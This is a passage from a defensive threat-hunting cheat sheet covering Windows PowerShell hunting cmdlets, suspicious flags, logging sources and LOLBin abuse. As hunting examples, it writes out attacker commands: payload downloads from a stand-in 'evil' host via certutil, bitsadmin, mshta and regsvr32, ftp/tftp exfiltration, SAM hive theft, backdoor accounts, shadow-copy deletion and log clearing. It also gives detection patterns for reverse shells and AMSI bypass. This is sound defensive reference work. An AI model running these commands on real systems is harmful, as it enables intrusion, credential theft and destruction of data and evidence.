

Threat Hunting Command Cheat Sheet

Cross-Platform DFIR Quick Reference

Windows · Linux · macOS

Version 1.0

Generated: 15 September 2026

Source: <https://github.com/Hashir14k/Threat-Hunting-Command-Line-Cheat-Sheet>

Threat Hunting Command Cheat Sheet: Cross-Platform DFIR Quick Reference

format [Markdown](#)

format [HTML](#)

platform [Windows](#) | [Linux](#) | [macOS](#)

type [DFIR cheat sheet](#)

version [1.0](#)

About — one reference for rapid triage, deep-dive hunting, and evidence collection: a full catalog of native command-line tools with suspicious parameters for Windows, Linux, and macOS, plus triage, persistence, network, log, and MITRE ATT&CK mapping, in a single Markdown/HTML cheat sheet.

Quick start

- **HTML version:** open the HTML build in any browser — no server or dependencies required; use Ctrl+F to jump between sections.
- **Markdown version:** GitHub renders this file directly, so open it in the repository and use the table of contents below to navigate.
- **Layout:** per-OS sections (Windows, Linux, macOS) covering execution, persistence, and network commands, followed by cross-platform tools and logs, plus appendices for suspicious flags, event IDs, and MITRE ATT&CK mapping.

How to use this sheet

Recommended triage order: follow this sequence on every suspect host:

- **Process/execution first:** identify what ran, from where, and when. Malicious code must execute to cause harm, so process and command-line evidence is the highest-value lead.
- **Persistence second:** find how it survives reboot. Once you know the execution, check the mechanisms that keep it alive (services, startup items, cron, launch agents).
- **Network third:** find where it communicates. Correlate the process with its connections to identify C2, beaconing, or data exfiltration.
- **Logs and artifacts last:** confirm and expand the timeline. Event logs, browser artifacts, and prefetch/shimcache data reconstruct the full kill chain.

Appendix usage:

- **Appendix A:** run the Top-10 rapid triage commands for the relevant OS first; they surface the most common indicators fast.
- **Appendix B:** check suspicious interpreter flags (PowerShell, bash, sh, cmd, osascript, python) when a script host appears in the process list.
- **Appendix C:** correlate the suspicious event/process timestamps against key event IDs and log sources across platforms.
- **Appendix D:** map confirmed findings to MITRE ATT&CK techniques to assess campaign scope and plan next queries.

Table of contents

- [Section 1: Windows & PowerShell](#)
- [Section 1 \(cont.\): Windows LOLBins, Sysinternals, Registry, Events & Network](#)
- [Section 1 \(cont. 2\): Windows Native Tool Catalog A-F, Suspicious Parameters](#)
- [Section 1 \(cont. 3\): Windows Native Tool Catalog G-L, Suspicious Parameters](#)
- [Section 1 \(cont. 4\): Windows Native Tool Catalog M-Z, Suspicious Parameters](#)
- [Section 2: Linux](#)
- [Section 2 \(cont.\): Linux Native Tool Catalog, Shells & Builtins, Suspicious Parameters](#)
- [Section 2 \(cont. 2\): Linux Native Tool Catalog, Coreutils A-M, Suspicious Parameters](#)
- [Section 2 \(cont. 3\): Linux Native Tool Catalog, Coreutils M-S, Suspicious Parameters](#)
- [Section 2 \(cont. 4\): Linux Native Tool Catalog, Coreutils T-Z & Archives, Suspicious Parameters](#)
- [Section 2 \(cont. 5\): Linux Native Tool Catalog, Network & Remote Tools, Suspicious Parameters](#)
- [Section 2 \(cont. 6\): Linux Native Tool Catalog, System, Services & Logs, Suspicious Parameters](#)
- [Section 2 \(cont. 7\): Linux Native Tool Catalog, Audit, Users & Auth, Suspicious Parameters](#)
- [Section 2 \(cont. 8\): Linux Native Tool Catalog, Kernel, Storage & Devices, Suspicious Parameters](#)
- [Section 2 \(cont. 9\): Linux Native Tool Catalog, Packages & Interpreters, Suspicious Parameters](#)
- [Section 3: macOS](#)
- [Section 3 \(cont.\): macOS Native Tool Catalog, Execution & Persistence, Suspicious Parameters](#)
- [Section 3 \(cont. 2\): macOS Native Tool Catalog, Security & Signing, Suspicious Parameters](#)
- [Section 3 \(cont. 3\): macOS Native Tool Catalog, Network & Artifacts, Suspicious Parameters](#)
- [Section 4: Cross-Platform, Network, Logs, Evidence & Encoding](#)
- [Appendix A: Top-10 Rapid Triage Commands per OS](#)
- [Appendix B: Master Suspicious-Flags Table \(Every Native Tool\)](#)
- [Appendix C: Key Event IDs & Log Sources Across Platforms](#)
- [Appendix D: MITRE ATT&CK Technique Quick Map](#)
- [Next Steps for a Real Hunt](#)

Section 1: Windows & PowerShell

Hunting on Windows starts and ends with PowerShell: the same engine attackers weaponize is the one that gives you the fastest, richest view of the host. Below: the core hunting cmdlets, the command-line switches that betray malicious invocation, the attack primitives to grep for, and exactly where the engine logs itself.

Core Hunting Cmdlets

Get-WinEvent, the primary hunter

```
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624,4625; StartTime=(Get-Date).AddDays(-7)}  
-MaxEvents 5000
```

Why it matters: Fastest provider-side filtered access to any log; avoids pulling the whole log into memory. Red flags: 4625 spikes (password spraying, T1110); 4624 LogonType 3/10 from unexpected source IPs; 4688 entries with `-enc` or `LOLBin` command lines.

Get-WinEvent, XPath for queries the hashtable cannot express

```
Get-WinEvent -LogName Security -FilterXPath "[System[(EventID=4624) and TimeCreated[timediff(@SystemTime)  
<= 604800000]]]"
```

Why it matters: XPath reaches fields (timestamps, nested data) that `-FilterHashtable` cannot. Red flags: Same anomalies as above; use `-Oldest` to read exported `.evtx` chronologically.

Get-WinEvent, PowerShell script block hunting

```
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 500  
|  
Where-Object { $_.Message -match 'IEX|DownloadString|Invoke-WebRequest|-enc |-e\s+[A-Za-z0-9+/=]{50,}' } |  
Format-List TimeCreated, UserId, Message
```

Why it matters: 4104 script block logging captures de-obfuscated code if GPO logging is enabled. Red flags: `ScriptBlockText` with `download/execute` primitives, `base64` blobs, `amsiInitFailed`, `Invoke-Mimikatz`.

Get-CimInstance Win32_Process, command lines of everything

```
Get-CimInstance Win32_Process | Select-Object ProcessId,ParentProcessId,ExecutablePath,CommandLine |  
Where-Object { $_.CommandLine -match '-enc\s|-w\s+hidden|-executionpolicy bypass|iex|certutil.*-urlcache|  
bitsadmin' }
```

Why it matters: Command-line inventory of every process; the fastest way to spot encoded/obfuscated launches (T1059.001). Red flags: `powershell -nop -sta -w hidden -enc, -ep bypass`, parent-child oddities (Word → PowerShell, T1566/T1055 proxy chains).

Get-CimInstance Win32_Process, orphaned / hidden parent check

```
Get-CimInstance Win32_Process | Select ProcessId,ParentProcessId,Name,ExecutablePath |  
Where-Object { $_.ParentProcessId -eq 0 -and $_.Name -ne 'System Idle Process' -and $_.Name -ne 'System' }
```

Why it matters: Processes with no live parent are a classic evasion artifact. Red flags: `PowerShell/cmd/rundll32` with dead parents (parent killed after spawn to break correlation).

Get-Process, quick triage

```
Get-Process | Sort-Object -Descending CPU | Select-Object -First 25  
Id,ProcessName,CPU,WorkingSet,Path,StartTime
```

Why it matters: Top CPU consumers and recently started processes; `StartTime` anchors a compromise timeline. Red flags: Processes with no `Path` (injected/reflected), `StartTime` clustered at one moment, high CPU (crypto mining), `Get-Process -IncludeUserName` showing odd owners.

Get-Service / Win32_Service, service inventory

```
Get-CimInstance Win32_Service | Select-Object Name,State,StartMode,StartName,PathName |  
Where-Object { $_.PathName -match 'temp|programdata|users\\.*public|appdata' }
```

Why it matters: Service binaries outside Program Files are near-diagnostic of T1543.003 persistence. Red flags: `PathName` in `Temp/Public/ProgramData`, `StartName` = `LocalSystem`, names masquerading as `svchost/Updater`, binaries missing from disk.

Get-ScheduledTask, scheduled task audit

```
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike '\Microsoft\*' } |  
    ForEach-Object { [PSCustomObject]{ Name=$_.TaskName; Path=$_.TaskPath; Author=$_.Author;  
    Actions=(($_.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments)" }) -join ';' } } | Format-Table -Wrap
```

Why it matters: Non-Microsoft task paths are attacker territory (T1053.005). Red flags: Author empty/unknown, Actions pointing to `Temp/Public`, `ONLOGON/ONIDLE` triggers, Run Level Highest as `SYSTEM`; correlate with TaskScheduler events 106/141.

Get-ItemProperty, persistence keys

```
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run','HKCU:  
\Software\Microsoft\Windows\CurrentVersion\Run','HKLM:  
\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce','HKCU:  
\Software\Microsoft\Windows\CurrentVersion\RunOnce' | Format-List
```

Why it matters: Registry Run/RunOnce is the most abused persistence point (T1547.001). Red flags: Any value pointing to `Temp/ProgramData/AppData`, base64 or `-enc` in the value data, values not attributable to installed software.

Get-FileHash, hash suspicious binaries

```
Get-FileHash -Path 'C:\Windows\Temp\payload.exe' -Algorithm SHA256
```

Why it matters: Baseline hashes for threat-intel lookup, deduplication across the fleet, timeline correlation. Red flags: Hash matches known malware; cross-check with `sigcheck -h` and VirusTotal.

Get-AuthenticodeSignature, signature validation

```
Get-AuthenticodeSignature 'C:\Users\Public\setup.exe' | Select-Object Status,StatusMessage,SignerCertificate
```

Why it matters: Tells you if a binary is signed and by whom; attackers rarely re-sign. Red flags: `NotSigned/InvalidSignature` on executables in writable dirs; `NotTrusted/unknown` publisher; signature chained to recently issued certs.

Get-NetTCPConnection, C2/beaconing

```
Get-NetTCPConnection -State Established | Select-Object  
LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess |  
    ForEach-Object { $_ | Add-Member -NotePropertyName Proc -NotePropertyValue (Get-Process -Id  
    $_.OwningProcess -ErrorAction SilentlyContinue).ProcessName -PassThru } | Format-Table -AutoSize
```

Why it matters: Every live connection mapped to owning process (T1049). Red flags: Established connections from `svchost/lsass/browser` to uncommon ports (4444, 8888, 9001, random high ports), long-lived connections to foreign IPs, periodic connection intervals (beaconing).

Resolve-DnsName, live DNS lookup

```
Resolve-DnsName -Name 'update.evil.example' -Server 8.8.8.8  
Resolve-DnsName -Name 'evil.example.com' -Type TXT
```

Why it matters: Resolves C2 names and inspects TXT records used as payload carriers (T1071.004, T1568). Red flags: TXT records containing base64, names with random/punycode labels, fast-flux answers.

Get-DnsClientCache, what the host just resolved

```
Get-DnsClientCache | Select-Object Entry,Data | Sort-Object Entry -Unique
```

Why it matters: Recently resolved names reveal C2 and staging domains without network capture. Red flags: Unknown domains, DGA-looking labels, subdomains of legitimate brands (typosquat); compare against `ipconfig /displaydns`.

Get-ChildItem -Force -Recurse, find staged/payload files

```
Get-ChildItem C:\Windows\Temp,C:\Users\Public,C:\ProgramData -Force -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Extension -in '.ps1','.exe','.dll','.vbs','.js','.hta','.scr','.bat' -and
$_.LastWriteTime -gt (Get-Date).AddDays(-30) } | Format-Table FullName,Length,LastWriteTime -AutoSize
```

Why it matters: Payloads live in writable world-readable locations; `-Force` surfaces hidden files (T1564.001). Red flags: Scripts/binaries in Temp/Public/ProgramData, hidden attributes set, recent write times aligned with intrusion events.

Get-Item timestamps, timeline & timestamping

```
Get-Item 'C:\Windows\Temp\payload.exe' | Select-Object CreationTime,LastWriteTime,LastAccessTime
(Get-Item 'C:\Windows\Temp\payload.exe' -Stream *).Stream
```

Why it matters: Three timestamps give a file timeline; mismatches reveal timestamping (T1070.006); the stream list shows ADS (Zone.Identifier is an ADS, not a FileInfo property). Red flags: LastWriteTime older than CreationTime, CreationTime in the future, LastWriteTime before directory creation, all three timestamps identical (auto-stomped), no Zone.Identifier on downloaded files (alternate stream stripped).

Get-LocalUser / Get-LocalGroupMember, account audit

```
Get-LocalUser | Select-Object Name,Enabled>PasswordRequired>PasswordLastSet>LastLogon
Get-LocalGroupMember -Group Administrators
```

Why it matters: Backdoor accounts are a top persistence technique (T1078, T1136). Red flags: New accounts (correlate Security 4720), admin members that are not staff accounts, PasswordRequired=False accounts, Enabled=True for accounts with no recent logon.

Get-ExecutionPolicy, policy state

```
Get-ExecutionPolicy -List
```

Why it matters: Documents current policy; execution policy is a weak control but its bypass is a behavioral signal. Red flags: Bypass/Unrestricted at MachinePolicy scope; any host differing from the fleet baseline.

Get-MpComputerStatus, Defender health

```
Get-MpComputerStatus | Select-Object
AMRunningMode,AntivirusEnabled,RealTimeProtectionEnabled,IsTamperProtected,SignatureVersion,QuickScanEndTime
```

Why it matters: Confirms AV is actually on (T1562.001 target). Red flags: RealTimeProtectionEnabled=False, AntivirusEnabled=False, IsTamperProtected=False, old signature version.

Get-MpThreatDetection, what Defender caught

```
Get-MpThreatDetection | Select-Object InitialDetectionTime,ThreatID,Resources | Sort-Object
InitialDetectionTime -Descending
```

Why it matters: Local record of detections incl. paths, cross-reference with Defender operational events 1116/1117. Red flags: Detections on hosts you do not know about, detections paired with 1119 (action failed).

Get-PSDrive, drive inventory

```
Get-PSDrive -PSProvider FileSystem | Select-Object Name,Root,Used,Free
```

Why it matters: Instant view of local/removable/mapped drives. Red flags: Unexpected network or USB drives, mapped shares to odd hosts (exfil staging, T1005), sharp free-space drops (data aggregation).

Get-Item -Stream, NTFS alternate data streams

```
Get-Item 'C:\Windows\Temp\legit.exe' -Stream *
Get-ChildItem C:\Users\Public -Force -Recurse -ErrorAction SilentlyContinue | Where-Object { (Get-Item
$_.FullName -Stream * -ErrorAction SilentlyContinue).Stream -notmatch '^:\$DATA$' }
```

Why it matters: ADS are a favorite hiding spot (T1564.004). Red flags: Any stream beyond `:$DATA` on executables/scripts; Zone.Identifier missing on downloaded files; stream names like evil, random GUIDs.

Get-LocalGroupMember, full local groups sweep (see Get-LocalUser above)

```
Get-LocalGroup | ForEach-Object { Get-LocalGroupMember -Group $_.Name } | Select-Object  
PrincipalSource,Name,ObjectClass
```

Why it matters: Membership changes beyond Administrators (Remote Desktop Users, Backup Operators). Red flags: New members in sensitive groups; correlate with 4732/4728 events.

Enable-PSRemoting / WinRM checks, lateral movement surface

```
Get-Service WinRM  
Test-NetConnection -ComputerName localhost -Port 5985  
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN" /s
```

Why it matters: PowerShell remoting (T1021.006) uses WinRM 5985/5986 and leaves 4624 LogonType 3 + WinRM events. Red flags: WinRM enabled on workstations (default off), listeners on non-standard ports, TrustedHosts populated, 4624 LogonType 3 followed by process creation on the target.

PSReadLine history, what the operator typed

```
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
```

Why it matters: Every interactive PowerShell command typed by that user is persisted here. Red flags: Recon (whoami /priv, net user, nltest), credential moves (Export-Clixml, -Credential), encoded commands; great for finding what a user did before an incident.

The Suspicious PowerShell Switch Table (centerpiece)

Flag	What it does	Why it is a red flag
-NoP / -NoProfile	Skips loading of \$PROFILE scripts	Breaks profile-based logging hooks and enterprise environment setup; near-universal in malware launchers, rare in legit admin use
-NonI / -NonInteractive	No user prompts	Silent execution; hides credential/overwrite prompts; common in service/task-based malware
-W Hidden / -WindowStyle Hidden	Console window never appears	Invisible to the user and to screen-capture monitoring; legitimate interactive use is rare
-Exec Bypass / -ExecutionPolicy Bypass / -EP Bypass	Ignores execution policy	Signals intent to run unsigned/untrusted scripts; policy rarely stops modern malware so the flag itself is the tell
-Enc / -EncodedCommand / -E	Runs a base64 (UTF-16LE) encoded command	Payload is opaque in command line and event 4688; defeats string matching; always decode and inspect (T1027.010)
-Sta	Single-threaded apartment	Redundant on PS 3.0+ consoles (STA default) but ubiquitous in malicious one-liners; guarantees STA for COM/DCOM tricks and in-memory AMSI-bypass patches
-C / -Command	Executes a string as a command	Benign alone, but combined with -enc or piped input is the standard attack wrapper
-F / -File	Runs a script from a file	Suspicious when the path is Temp, Public, ProgramData, AppData, or Recycle Bin; check file exists and hash it
-V 2 / -Version 2	Downgrades to Windows PowerShell 2.0	PS2 has no AMSI, no script block logging, weak ConstrainedLanguage enforcement, a logging-evasion downgrade (T1059.001)
-NoLogo	Suppresses the banner	Speeds silent launch; almost always paired with -NoProfile in payloads
-NoExit	Keeps the window open after the command	Used by interactive shells/recon sessions; less common in pure malware
-Command -	Reads the command from stdin	Payload piped in never appears in the command line at all; hunt the parent process instead

The classic malicious combo

```
powershell.exe -nop -sta -w hidden -enc <base64-blob>
```

- -nop, no profile: evades profile-based logging hooks and environment tampering detection.

- `-sta`, single-threaded apartment: required by several AMSI-bypass memory patches and COM automation payloads.
- `-w hidden`, hidden window: nothing appears on screen for the user or for video/screenshot monitoring.
- `-enc`, encoded command: the entire payload is invisible in 4688, CIM/WMI queries, and process explorer; the only artifact defenders see is a 10-50 KB base64 blob.
- Decode with: `[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<blob>'))` (note: UTF-16LE base64).

Attack Primitives, Grep Targets

Pattern	What it indicates	ATT&CK
<code>IEX / iex / Invoke-Expression</code>	Script executes in-memory text, wrapper for every download-and-run	T1059.001
<code>IWR / Invoke-WebRequest / Invoke-RestMethod / IRM</code>	Download/API comms, payload fetch or C2 channel	T1105
<code>DownloadString / DownloadFile</code>	Classic download cradle (<code>(New-Object Net.WebClient).DownloadString(...)</code>)	T1105
<code>New-Object Net.WebClient</code>	Download cradle construction	T1105
<code>Add-Type</code>	Compiles inline C#/P/Invoke, evasion, injection, credential tools	T1059.001
<code>Reflection.Assembly.Load / Assembly.LoadFrom</code>	Loads assembly into memory without disk	T1055.001
<code>[System.Net.Sockets.TCPClient]</code>	Reverse shell / bind shell construction	T1059.001, T1071.001
<code>Start-Process -WindowStyle Hidden</code>	Silent process spawn	T1564.003
<code>Invoke-Mimikatz</code>	Credential dumping in-memory	T1003.001
<code>amsiInitFailed</code>	AMSI bypass patch target string	T1562.001
<code>certutil -decode / -urlcache</code>	Native download/decode of payloads	T1140, T1105
<code>ActiveScriptEventConsumer / CommandLineEventConsumer / __EventFilter</code>	WMI event subscription persistence	T1546.003
<code>Copy-Item ... file:stream / Set-Content ... file:stream</code>	ADS write	T1564.004
<code>schtasks / Register-ScheduledTask</code>	Scheduled task persistence	T1053.005
<code>New-Service / sc create</code>	Service persistence	T1543.003
<code>Set-ItemProperty ... Run / New-ItemProperty ... Run</code>	Run-key persistence	T1547.001
<code>Add-MpPreference -ExclusionPath</code>	Defender exclusion poisoning	T1562.001
<code>Set-MpPreference -DisableRealtimeMonitoring</code>	AV disable	T1562.001
<code>New-PSSession / Enter-PSSession / Invoke-Command</code>	PowerShell remoting lateral movement	T1021.006
<code>wmic process call create</code>	WMI remote execution	T1047
<code>Out-File / Set-Content to Temp/ProgramData/Public</code>	Payload staging to writable dirs	T1105, T1074
<code>Export-Clixml</code>	Serializes credentials to disk (later decoded with <code>-Credential</code> from the XML)	T1552.001
<code>Get-Process lsass / OpenProcess on lsass with SeDebugPrivilege</code>	LSASS memory access prep	T1003.001

WMI event subscription persistence check

```
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter
Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer
Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer
Get-CimInstance -Namespace root\subscription -ClassName __EventConsumerBinding
```

Why it matters: WMI permanent event subscriptions survive reboot and run as SYSTEM (T1546.003). Red flags: Any consumer/filter/binding not created by known management tooling; benign-looking names (svc , Updater , GUIDs); correlates with WMI-Activity event 5861.

Where PowerShell Is Logged

Source	Location / ID	Notes
Engine lifecycle	Windows PowerShell log, IDs 400 (start), 403 (stop), 600 (provider)	Always on; gives time, version, user for each engine run
Module logging	Microsoft-Windows-PowerShell\Operational , ID 4103	Only when GPO enabled; logs pipeline commands per module
Script block logging	same log, ID 4104 (also 4105/4106 invoke start/stop)	Only when GPO enabled; primary PowerShell forensic source
Transcription	Plain text transcripts on disk (PowerShell_transcript_*.txt)	Only when GPO enabled; default dir %TEMP% if no OutputDirectory set
Console history	%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt	Always on per user; interactive commands only

Verify logging is enabled

```
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" /v *
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v EnableTranscripting
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v OutputDirectory
```

Why it matters: If these keys are absent or 0, 4103/4104/transcripts do not exist; an attacker who disables logging or was never logged leaves only 400/403. Red flags: Keys missing on hosts that should be configured; ModuleNames set to a narrow list; empty OutputDirectory; GPO reverting to defaults after an attacker deleted the policy keys (T1112).

Constrained Language Mode check

```
$ExecutionContext.SessionState.LanguageMode
```

Why it matters: CLM blocks most attack primitives (IEX, Add-Type, .NET reflection); attackers probe it before choosing a bypass. Red flags: FullLanguage on a host that should run ConstrainedLanguage (policy altered, T1562); ConstrainedLanguage on admin workstations means legit workflows break; investigate what changed.

Section 1 (cont.): Windows LOLBins, Sysinternals, Registry, Events & Network

CMD / LOLBins

certutil, downloader / decoder / hasher

```
certutil -urlcache -split -f http://evil/payload.exe C:\Users\Public\payload.exe
certutil -decode encoded.b64 payload.exe
certutil -hashfile payload.exe SHA256
```

Why it matters: Microsoft-signed binary that downloads (-urlcache -split -f), decodes (-decode, T1140) and hashes; trusted-name execution (T1105). Red flags: -urlcache/-split/-f with destination in Temp/Public; -decode of large files; -encode used to obfuscate stolen data pre-exfil.

bitsadmin, BITS download + persistence

```
bitsadmin /transfer job1 /download /priority high http://evil/x.exe C:\temp\x.exe
bitsadmin /create evil /addfile evil http://evil/x.exe C:\temp\x.exe /setnotificmdline evil C:\temp\x.exe
"" /complete
```

Why it matters: BITS bypasses proxies and whitelists (T1197); setnotificmdline adds persistence. Red flags: /download targets in Temp/ProgramData; notify command lines pointing at payloads; random job names (bitsadmin /list /verbose).

mshta, script host execution

```
mshta "javascript:new ActiveXObject('WScript.Shell').Run('powershell -ep bypass -nop -w hidden -enc ...')"
mshta http://evil/payload.hta
```

Why it matters: Executes JScript/VBS inline or from a URL (T1218.005); common phishing second stage. Red flags: javascript:/vbscript:/HTTP in the command line; mshta spawning powershell/cmd children; mshta as parent in 4688/Sysmon 1.

rundll32, mshtml script trick

```
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();new
ActiveXObject("WScript.Shell").Run("powershell -enc ...")
```

Why it matters: Arbitrary script via the mshtml engine inside a signed system binary (T1218.011). Red flags: javascript:, mshtml, RunHTMLApplication in the command line; rundll32 arguments that are not DLL entry points.

regsvr32, Squiblydoo

```
regsvr32.exe /s /u /i:http://evil/scrobj.dll scrobj.dll
```

Why it matters: Runs a scriptlet (.sct) from a URL via trusted regsvr32 (T1218.010); bypasses many AppLocker/whitelist policies. Red flags: /i:http(s)://, scrobj.dll, /s (silent) + /u (unregister) combo, no legitimate scrobj.dll use exists in enterprises.

wmic, remote process create

```
wmic process call create "powershell.exe -nop -w hidden -enc ..."
wmic /node:TARGET /user:DOMAIN\user process call create "cmd /c ..."
```

Why it matters: WMI remote execution for lateral movement (T1047); historically one of the most-hunted patterns. Red flags: process call create from unexpected hosts; wmic is removed from Windows 11 24H2/Server 2025+, so its presence on an old box is already suspicious.

schtasks, scheduled task persistence

```
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\x.exe" /sc onlogon /ru SYSTEM /rl highest
schtasks /create /tn "T" /tr "powershell -w hidden -enc ..." /sc minute /mo 5
schtasks /query /fo LIST /v | findstr /i "taskname run"
```

Why it matters: The workhorse persistence (T1053.005); runs as SYSTEM at logon or interval. Red flags: /tr pointing to Temp/Public; /ru SYSTEM with /sc onlogon; high frequency /sc minute; task names spoofing Microsoft; verify with Get-ScheduledTask and event 106.

sc, service create/config

```
sc create Backdoor binPath= "C:\Windows\Temp\x.exe" start= auto obj= LocalSystem
sc config Backdoor binPath= "C:\ProgramData\y.dll" start= demand
```

Why it matters: Service persistence (T1543.003); post-exploitation favorite. Red flags: binPath= outside Program Files; obj= LocalSystem; names resembling legit services; watch System event 7045.

reg add, Run keys

```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /d "C:\temp\x.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v sys /d "powershell -enc ..." /f
```

Why it matters: Run/RunOnce persistence (T1547.001). Red flags: New values pointing to Temp/Public; -enc inside value data; check both hives plus Wow6432Node and Policies\Explorer\Run.

reg save / reg export, hive theft

```
reg save HKLM\SAM sam
reg save HKLM\SYSTEM sys
reg export HKLM\SAM sam.reg
```

Why it matters: Extracts SAM/SYSTEM hives for offline hash cracking, the modern pwdump (T1003.002). Red flags: reg save of SAM/SYSTEM/SECURITY to user-writable paths; files like sam/sys in Temp/Public; lateral movement shortly after.

net, account and group manipulation

```
net user hacker Passw0rd! /add
net localgroup Administrators hacker /add
net group "Domain Admins" hacker /add
net user /domain
```

Why it matters: Account creation and privilege manipulation (T1136.001, T1098). Red flags: New accounts (Security 4720); new members in Administrators (4732) or Domain Admins (4728); net user /domain recon from workstations.

whoami, recon

```
whoami /all
whoami /priv
```

Why it matters: Identity, groups, and enabled privileges (T1033). Red flags: SeDebugPrivilege enabled (LSASS dump enabler); SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege (potato-family privilege escalation); frequent whoami calls across hosts = recon phase.

netstat, connection audit

```
netstat -naob
```

Why it matters: Connections + owning PIDs (T1049); -b needs admin. Red flags: Established connections from svchost/lsass to odd ports; TIME_WAIT/SYN_SENT floods (beaconing/scanning); listener ports not explained by known services.

tasklist, process/load audit

```
tasklist /v /svc /m
```

Why it matters: Processes, services, loaded modules in one command (T1057). Red flags: Unknown executables running as SYSTEM; services bound to Temp binaries; unusual DLLs loaded into svchost (/m).

findstr, file content search

```
findstr /s /i /m /c:"password" C:\Users\*.*
findstr /s /i /m /c:"ClientSecret" \\file-server\share\*
```

Why it matters: Attacker-side secret discovery on disk and shares (T1083, T1005). Red flags: Recursive searches on file servers from non-IT hosts; large read volumes right before exfil.

vssadmin, shadow copy destruction

```
vssadmin list shadows
vssadmin delete shadows /all /quiet
```

Why it matters: Ransomware/pre-exfil removes the fastest recovery path (T1490). Red flags: Shadow deletion; combine with System log entries and rapid encryption/copy activity; also check `wbadmin` for backup deletion.

wbadmin, backup inventory/destruction

```
wbadmin get versions
wbadmin delete backup -keepVersions:0
```

Why it matters: Backup inventory and destruction (T1490). Red flags: Backup jobs deleted or disabled right before an incident; `wbadmin delete` from unexpected accounts.

bcdedit, recovery disable

```
bcdedit /set {default} recoveryenabled no
bcdedit /set {default} bootstatuspolicy ignoreallfailures
```

Why it matters: Disables Windows startup recovery, a T1490 companion used by destructive actors. Red flags: Recovery settings disabled fleet-wide; correlate with `vssadmin`/`wbadmin` activity.

wevtutil, log clearing and defense

```
wevtutil cl Security
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
```

Why it matters: Attacker use = wiping forensic evidence (T1070.001). Red flags: Missing logs where they should exist; Security 1102; System 104 ("log file was cleared"); gaps in the timeline of one specific log only.

fsutil, ADS creation

```
fsutil file createnew C:\Windows\Temp\notes.txt:evil.exe 0
```

Why it matters: Creates files and alternate data streams (T1564.004). Red flags: `createnew` with `:stream` syntax in writable dirs; hunt with `Get-Item -Stream *` and `streams -s`.

attrib, hiding

```
attrib +h +s +r C:\Users\Public\payload.exe
```

Why it matters: Hides files from default directory listings (T1564.001). Red flags: Hidden+system files in Public/Temp; use `dir /a` or `Get-ChildItem -Force` to see them.

icacls, permission manipulation

```
icacls C:\target /grant Everyone:F /t /c
icacls C:\target /reset /t /c
```

Why it matters: Grants/revokes access, ransomware (lock files) and malware (open doors) (T1222). Red flags: `Everyone:F` grants on shares/endpoints; mass recursive `/reset` breaking access; `icacls` run by unusual accounts.

takeown, ACL bypass

```
takeown /f C:\file /a /r /d y
```

Why it matters: Takes ownership to bypass ACLs before modification (T1222); usually followed by `icacls`. Red flags: Recursive `takeown` on shares or protected dirs.

esentutl, offline database copy

```
esentutl /y /vss C:\Windows\NTDS\ntds.dit
esentutl /y /vss C:\Windows\System32\config\SAM
```

Why it matters: Copies locked DB files (ntds.dit, SAM) from a VSS shadow, the stealthy hive grab (T1003.002). Red flags: esentutl /y /vss on DCs/endpoints; ntds.dit appearing in Temp/Public; frequently scripted into vssadmin create shadow chains.

forfiles, proxy execution

```
forfiles /p C:\Windows\Temp /m *.exe /c "cmd /c @path"
forfiles /p C:\ /m shell.exe /s /c "C:\Temp\shell.exe"
```

Why it matters: Legit Microsoft binary used to launch others (proxy execution). Red flags: forfiles spawning cmd/powershell/payloads; rare in legit enterprise scripts.

makecab / expand, staging

```
makecab C:\Users\Public\payload.exe staging.cab
expand staging.cab -F:* C:\Windows\Temp
```

Why it matters: Compression/staging to hide file contents in transit and on disk (T1560). Red flags: CAB files in writable dirs; expanding unsigned cabs; hunt with Get-ChildItem *.cab.

wscript / cscript, script execution

```
cscript.exe //nologo C:\Users\Public\p.vbs
wscript.exe C:\Users\Public\p.js
```

Why it matters: VBS/JS execution host (T1059.007), classic downloader/dropper wrapper. Red flags: //nologo (silent); scripts in Temp/Public; script write times matching the intrusion; parents like Office/browser.

ftp, scripted exfil

```
echo open evil 21> s.txt & echo user a b>> s.txt & echo put data.zip>> s.txt & echo quit>> s.txt & ftp
-s:s.txt
```

Why it matters: Scripted FTP exfil (T1048). Red flags: ftp -s: command files; outbound FTP from data-heavy hosts; s.txt-style scratch files.

tftp, exfil/download

```
tftp -i evil GET payload.exe
tftp -i evil PUT data.zip
```

Why it matters: TFTP exfil and payload drops (T1048/T1105); ancient but still seen on legacy networks. Red flags: Any TFTP use in a modern enterprise; UDP 69 traffic.

nltest, domain recon

```
nltest /dclist:contoso.local
nltest /domain_trusts /all_trusts
```

Why it matters: DC discovery and trust enumeration, pre-attack intelligence (T1018, T1482). Red flags: nltest from non-IT hosts; /dclist bursts (spraying); trust enumeration before Kerberoasting/pass-the-ticket.

runas /savecred

```
runas /savecred /user:DOMAIN\admin cmd.exe
```

